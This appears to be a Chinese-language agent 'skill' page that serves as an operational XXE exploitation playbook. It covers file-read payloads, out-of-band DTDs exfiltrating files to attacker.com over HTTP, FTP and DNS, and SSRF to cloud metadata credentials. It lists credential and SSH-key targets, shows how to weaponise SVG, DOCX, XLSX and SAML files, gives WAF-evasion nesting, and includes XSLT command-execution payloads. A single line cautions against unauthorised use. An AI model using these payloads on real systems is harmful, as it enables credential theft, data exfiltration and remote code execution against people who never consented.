调研探索
当应用解析 XML、SVG、OOXML、SOAP…
适用于任何可能解析 XML 类输入或其转换链路的目标,通过实体注入验证文件读取、OOB 外传和 SSRF/RCE 链。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
当应用解析 XML、SVG、OOXML、通用
解决思路
- §0 关联路由:当 XXE 可通过 SVG、OOXML、导入或预览管线触达时,同时加载 [upload insecure files](../upload-insecure-files/SKILL.md)。
- §0 扩展场景:需要 Apache Solr XXE+RCE 链(CVE-2017-12629)时,加载 [SCENARIOS.md](./SCENARIOS.md),先 XXE 读配置,再用 VelocityResponseWriter 实现 RCE。
- §0 扩展场景:需要 Office docx XXE 逐步流程时,加载 [SCENARIOS.md](./SCENARIOS.md):unzip → 向 word/document.xml 或 [Content_Types].xml 注入 DOCTYPE → 重新打包 → 上传。
- §0 扩展场景:需要基于 DOCTYPE 的盲 SSRF 时,加载 [SCENARIOS.md](./SCENARIOS.md):用 PUBLIC 外部 DTD 引用触发 HTTP 回调,即使实体内容不回显。
- §0 扩展场景:需要在 PHP expect 扩展安装时通过 XXE 执行命令时,加载 [SCENARIOS.md](./SCENARIOS.md),使用 expect:// 协议。
- §0 扩展场景:需要通过错误消息盲 XXE 时,加载 [SCENARIOS.md](./SCENARIOS.md),构造文件路径错误使内容泄漏到异常文本。
- §0 扩展场景:需要 SOAP Web 服务 XXE 时,加载 [SCENARIOS.md](./SCENARIOS.md),向 SOAP Envelope/Body 元素注入实体。
- §1 经典 XXE:发送 `<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root><data>&xxe;</data></root>`;若 /etc/passwd 在响应中回显,则确认文件读取。
- §2 直接 XML 输入面:测试 SOAP 端点(`text/xml`、`application/soap+xml`)。
- §2 直接 XML 输入面:测试接受 `application/xml` 的 REST API。
- §2 直接 XML 输入面:测试文件上传 `.xlsx`、`.docx`、`.pptx`(Office Open XML)。
- §2 直接 XML 输入面:测试 SVG 上传(SVG 是 XML)。
- §2 直接 XML 输入面:测试 RSS/Atom feed 解析器。
- §2 直接 XML 输入面:测试带 XML 配置导入的 Web 服务。
- §2 非显式 XML 处理:对任意 JSON POST 把 `Content-Type` 改为 `Content-Type: application/xml`,再把 body 改写成 XML,探测后端是否使用双格式解析器或自动检测。
- §2 PDF 生成器:测试某些 HTML→PDF 工具(wkhtmltopdf、PrinceXML),它们会通过嵌入 URL 发起 SSRF,也会解析 HTML 中内嵌 SVG/XML 的外部实体。
- §3 OOB XXE 第 1 步盲检测:发送 `<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'http://BURP_COLLABORATOR/'>]><root>&xxe;</root>`;Collaborator 收到 DNS/HTTP 命中即确认 XXE,即使不返回文件内容。
- §3 OOB XXE 第 2 步:攻击者服务器在 `http://attacker.com/evil.dtd` 托管恶意 DTD,定义 `%file` 读取 `file:///etc/passwd`,再定义 `%exfil` 让 `exfiltrate` 实体请求 `http://attacker.com/?data=%file;`,最后调用 `%exfil;`。
- §3 OOB XXE 第 2 步:向目标发送 `<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY % dtd SYSTEM 'http://attacker.com/evil.dtd'>%dtd;]><root>&exfiltrate;</root>`,文件内容会出现在攻击者 HTTP 服务器请求日志。
- §3 OOB XXE 第 3 步错误型 OOB:当 HTTP 被阻断时,用故意错误在错误消息中泄漏数据;在 `attacker.com/error.dtd` 中定义 `%file` 读取 `/etc/passwd`,再让 `%error` 请求 `file:///NONEXISTENT/%file;`,执行 `%eval;%error;`。
- §4 Linux 文件读取目标:`/etc/passwd`。
- §4 Linux 文件读取目标:`/etc/shadow`(需要 root)。
- §4 Linux 文件读取目标:`/etc/hosts`。
- §4 Linux 文件读取目标:`/proc/self/environ`(环境变量,可能含 DB 凭据、API key)。
- §4 Linux 文件读取目标:`/proc/self/cmdline`(进程命令行)。
- §4 Linux 文件读取目标:`/var/log/apache2/access.log`(URL 中可能含密码)。
- §4 Linux 文件读取目标:`/home/USER/.ssh/id_rsa`(SSH 私钥)。
- §4 Linux 文件读取目标:`/home/USER/.aws/credentials`(AWS 密钥)。
- §4 Linux 文件读取目标:`/home/USER/.bash_history`。
- §4 Windows 文件读取目标:`C:\Windows\System32\drivers\etc\hosts`。
- §4 Windows 文件读取目标:`C:\inetpub\wwwroot\web.config`(ASP.NET 连接字符串)。
- §4 Windows 文件读取目标:`C:\xampp\htdocs\wp-config.php`(WordPress DB 凭据)。
- §4 Windows 文件读取目标:`C:\Users\Administrator\.ssh\id_rsa`。
- §5 SVG XXE:当 SVG 上传被接受且会被服务/处理时,上传 `<?xml version='1.0' standalone='yes'?><!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><svg xmlns='http://www.w3.org/2000/svg' width='500' height='100'><text font-size='16'>&xxe;</text></svg>`。
- §5 SVG XXE:上传为 `.svg` 后请求 `GET /uploads/file.svg`,文件内容会出现在响应中。
- §6 Office 文件 XXE:Office 文件是包含 XML 的 ZIP;向 `[Content_Types].xml` 或 `word/document.xml` 注入。
- §6 Office 文件 XXE 第 1 步:`unzip original.docx -d extracted/`。
- §6 Office 文件 XXE 第 2 步:编辑 `word/document.xml`,在 `<?xml version='1.0' encoding='UTF-8' standalone='yes'?>` 后加入 `<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>`,并在文档文本中使用 `&xxe;`。
- §6 Office 文件 XXE 第 3 步:`cd extracted && zip -r ../malicious.docx .`。
- §7 SOAP 端点 XXE:SOAP 请求按定义解析 XML;在 SOAP envelope 中注入外部实体,在 `<soap:Envelope>` 前加 DOCTYPE,把 `&xxe;` 放进 `<soap:Body>` 的元素(如 `<id>&xxe;</id>`)。
- §8 XXE→SSRF 链:外部实体可指向内部 HTTP 端点,例如 `<!ENTITY xxe SYSTEM 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'>`,再用 `&xxe;`;把 XXE 文件读取与 SSRF 合并到单个 payload。
- §9 XInclude 攻击:当服务端处理 XInclude 但无法控制 DOCTYPE 时,使用 `<foo xmlns:xi='http://www.w3.org/2001/XInclude'><xi:include href='file:///etc/passwd' parse='text'/></foo>`。
- §9 XInclude 攻击:适用于 Apache Cocoon、Xerces-J、启用 XInclude 支持的 libxml2。
- §10 协议处理器:HTTP(SSRF)用 `<!ENTITY xxe SYSTEM 'http://internal.company.com/admin/'>`。
- §10 协议处理器:文件读取用 `file:///etc/passwd`。
- §10 协议处理器:PHP wrapper(若 PHP 带 libxml2)用 `php://filter/convert.base64-encode/resource=/etc/passwd`,在响应中 base64 解码得到文件内容。
- §10 协议处理器:FTP(外传/端口扫描)用 `ftp://attacker.com:21/x`。
- §10 协议处理器:Gopher(Redis、SMTP)用 `gopher://127.0.0.1:6379/info%0d%0a`。
- §11 绕过防御:若 parser 阻止 DOCTYPE,尝试 XInclude(不需要 DOCTYPE,见 §9)。
- §11 绕过防御:若只允许特定 XML schema,且发生 schema validation,则在 schema validation 之后、entity processing 之前注入注释或 CDATA。
- §11 绕过防御:若响应编码问题(二进制内容),使用 PHP filter base64:`php://filter/convert.base64-encode/resource=/etc/passwd`。
- §11 绕过防御:若 OOB 网络受限,使用仅 DNS 的 OOB,通过 `SYSTEM 'file://HASH.attacker.com'`,无需 HTTP,DNS 查询即可泄漏数据。
- §12 快速检测清单:寻找 XML 输入点(或 JSON→XML 转换)。
- §12 快速检测清单:发送基础实体 `<!ENTITY xxe 'test'>`,在 body 中用 `&xxe;`,观察 `test` 是否回显。
- §12 快速检测清单:若回显,尝试文件读取:`SYSTEM 'file:///etc/passwd'`。
- §12 快速检测清单:若不回显,用 Collaborator URL 做 OOB 测试。
- §12 快速检测清单:若 OOB 命中,搭建攻击者 DTD 做文件外传。
- §12 快速检测清单:尝试带 XXE 的 SVG 上传。
- §12 快速检测清单:在 JSON 端点上尝试 `Content-Type: application/xml`。
- §12 快速检测清单:若基于 DOCTYPE 失败,尝试 XInclude。
- §13 本地 DTD 注入:当外部实体被阻止但服务器存在本地 DTD 文件时,覆盖本地 DTD 中定义的实体;用 `%local_dtd` 引用本地 DTD,并用 `%ISOamso` 等覆盖实体,把 `%file` 指向 `file:///etc/passwd`,再构造 `%eval` 和 `%error` 触发错误泄漏。
- §13 常见 Linux 本地 DTD 路径:`/usr/share/yelp/dtd/docbookx.dtd`(GNOME Help)。
- §13 常见 Linux 本地 DTD 路径:`/usr/share/xml/fontconfig/fonts.dtd`(Fontconfig)。
- §13 常见 Linux 本地 DTD 路径:`/usr/share/sgml/docbook/xml-dtd-*/docbookx.dtd`。
- §13 常见 Linux 本地 DTD 路径:`/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd`。
- §13 常见 Linux 本地 DTD 路径:`/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd`。
- §13 常见 Linux 本地 DTD 路径:`/usr/share/struts/struts-config_1_0.dtd`(Apache Struts)。
- §13 常见 Linux 本地 DTD 路径:`/usr/share/nmap/nmap.dtd`(Nmap)。
- §13 常见 Linux 本地 DTD 路径:`/opt/zaproxy/xml/alert.dtd`(OWASP ZAP)。
- §13 常见 Windows 本地 DTD 路径:`C:\Windows\System32\wbem\xml\cim20.dtd`(WMI)。
- §13 常见 Windows 本地 DTD 路径:`C:\Windows\System32\wbem\xml\wmi20.dtd`(WMI)。
- §13 常见 Windows 本地 DTD 路径:`C:\Program Files\IBM\WebSphere\*.dtd`(WebSphere)。
- §13 常见 Windows 本地 DTD 路径:`C:\Program Files (x86)\Lotus\*.dtd`(Lotus Notes)。
- §13 JAR 文件内本地 DTD:`jar:file:///usr/share/java/tomcat-*.jar!/javax/servlet/resources/web-app_2_3.dtd`。
- §13 JAR 文件内本地 DTD:`jar:file:///opt/wildfly/modules/*.jar!/org/jboss/as/*.dtd`。
- §13 JAR 文件内本地 DTD:`file:///usr/share/java/struts2-core-*.jar!/struts-2.5.dtd`。
- §13 为何有效:外部连接被阻断(防火墙/WAF/出站过滤),但 `file://` 访问本地文件通常允许;本地 DTD 受信任,实体覆盖可注入攻击者定义;错误消息或通过 `file://` 的盲提取仍可工作。
- §14 FTP 外传(逐行):FTP 协议逐行发送数据,适合多行文件外传,避免 HTTP OOB 在换行处截断;在 `attacker.com/ftp-exfil.dtd` 定义 `%file` 读取 `file:///etc/passwd`,定义 `%exfil` 让 `%send` 请求 `ftp://attacker.com:2121/%file;`,执行 `%exfil;%send;`。
- §14 FTP 外传:在 2121 端口运行 rogue FTP 服务器(如 `xxeserv` 或自定义 Python),文件每一行会作为单独的 `RETR` 或 `CWD` 命令到达。
- §14 HTTP 参数外传:用 `php://filter/convert.base64-encode/resource=/etc/passwd` 作为 `%file`,让 `%send` 请求 `http://attacker.com/?d=%file;`,执行 `%exfil;%send;`;base64 避免 URL 中换行/特殊字符问题,在攻击者服务器解码 `d=` 参数。
- §15 DTD 嵌套:参数实体套参数实体,用于绕过阻止实体值中直接引用实体的 parser;发送 `<!DOCTYPE foo [<!ENTITY % a '% b;'><!ENTITY % b SYSTEM 'http://attacker.com/chain.dtd'>%a;]>`,parser 展开 `%a;`→`%b;`→拉取外部 DTD,有些 WAF 只检查第一层实体定义。
- §15 三重嵌套规避过滤:`attacker.com/stage1.dtd` 中定义 `%s2` 指向 `http://attacker.com/stage2.dtd` 并调用 `%s2;`;`stage2.dtd` 中定义 `%file` 读取 `file:///etc/passwd`,定义 `%s3` 让 `%exfil` 请求 `http://attacker.com/?d=%file;`,调用 `%s3;%exfil;`;发给目标的 payload 只引用 `stage1.dtd`,实际文件读取发生在两层 DTD 拉取之后,规避浅层 WAF。
- §16 非显式格式:SOAP Envelope 整个 body 是 XML,在 `<soap:Envelope>` 前加 DOCTYPE。
- §16 非显式格式:SVG 图像是 XML,在 SVG 头部加 `<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>`。
- §16 非显式格式:OOXML `.docx` 的 `word/document.xml`、`[Content_Types].xml`,可向任意 XML member 注入 DOCTYPE + entity。
- §16 非显式格式:OOXML `.xlsx` 的 `xl/sharedStrings.xml`、`xl/worksheets/sheet1.xml`,可在单元格值中放实体引用。
- §16 非显式格式:RSS/Atom feeds 的 feed body 是 XML,若包含用户内容则向 feed item 注入。
- §16 非显式格式:SAML assertions 是 SAML XML token,在 `SAMLResponse` 参数(base64 解码后的 XML)中注入 DOCTYPE。
- §16 非显式格式:XMPP 协议消息是 XML stanza,在 message body 或 JID 字段放实体。
- §16 非显式格式:GPX 文件是 XML 的 GPS 轨迹数据,通过接受 GPX 的文件上传端点注入。
- §16 非显式格式:XHTML 严格 XHTML 是合法 XML,可在 XHTML 文档中注入 DOCTYPE。
- §16 SAML XXE:base64 解码 `SAMLResponse`,注入 `<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>`,把 `&xxe;` 放入 `<saml:NameID>` 等位置,再 base64 编码并作为 `SAMLResponse` 参数提交。
- §17 SVG 上传:上传 `<?xml version='1.0'?><!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><svg xmlns='http://www.w3.org/2000/svg' width='500' height='500'><text x='10' y='50' font-size='14'>&xxe;</text></svg>` 作为 avatar/image,查看上传后的 SVG,文件内容作为文本渲染。
- §17 XLSX 上传:创建最小 `.xlsx`,`unzip report.xlsx -d xlsx_tmp/`,向 `xl/sharedStrings.xml` 注入;在 XML declaration 后加 `<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>`,把某个 `<t>` 元素内容替换为 `&xxe;`,再 `cd xlsx_tmp && zip -r ../malicious.xlsx .`。
- §17 XLSX 上传:也可注入 `[Content_Types].xml`(多数 OOXML 处理器会先解析它)。
- §17 DOCX 上传:目标 `word/document.xml`;同样 unzip→注入 DOCTYPE + entity→重新打包;若存在 custom XML parts,也可注入 `customXml/item1.xml`。
- §17 处理管线攻击:即使上传文件不直接渲染,服务端 parser(Apache POI、python-docx、OpenXML SDK)也可能在导入时处理实体,触发 OOB 外传。
- §18 错误型 XXE:强制 XML parser 生成包含文件内容的错误消息。
- §18 方法 1 不存在文件引用:`attacker.com/error.dtd` 中定义 `%file` 读取 `file:///etc/hostname`,定义 `%eval` 让 `%error` 请求 `file:///nonexistent/%file;`,执行 `%eval;%error;`;parser 尝试打开 `file:///nonexistent/<hostname_content>`,错误消息包含 hostname。
- §18 方法 2 XML schema validation error:在 DOCTYPE 中定义 `%file` 读取 `file:///etc/passwd`,定义 `%eval` 创建 `%err`,让 `%err` 请求 `jar:file:///nonexistent!/%file;`,执行 `%eval;%err;`;`jar:` 协议处理器会产生详细错误,包含展开后的实体值。
- §18 方法 3 整数溢出/类型错误:定义 `%file` 读取 `file:///etc/passwd`,定义 `%int` 让 `%trick` 请求 `file:///%file;`,执行 `%int;%trick;`;parser 尝试打开包含目标文件内容的文件路径,错误消息泄漏内容。
- §19 XSLT 注入连接 XXE:XSLT 处理器解析 XML,可与 XXE 链接。
- §19 XSLT 文件读取:使用 XPath `document('file:///etc/passwd')` 输出文件内容。
- §19 XSLT RCE(依赖处理器):Xalan-J(Java)使用命名空间 `http://xml.apache.org/xalan/java/java.lang.Runtime`,调用 `rt:getRuntime()` 和 `rt:exec($rtObj,'id')`。
- §19 XSLT RCE(依赖处理器):PHP(libxslt 且 registerPHPFunctions)使用命名空间 `http://php.net/xsl`,调用 `php:function('system','id')`。
- §19 XXE→XSLT 链:若目标接受带 stylesheet 引用的 XML 输入(`<?xml-stylesheet?>`),同时注入外部实体和恶意 XSLT,从文件读取升级到 RCE。
适用边界 · 注意事项
- 目标完全不解析 XML/XML 转换链路,或 XML 解析器已禁用 DOCTYPE、外部实体、XInclude,且不存在本地 DTD 注入条件时。
- 没有带外通道(DNS/HTTP/FTP 出网或可控监听端)且响应与错误都不回显文件内容时,盲 XXE 很难有效利用。
- 未获得明确授权或不在合法测试范围内时,不要使用这些攻击载荷。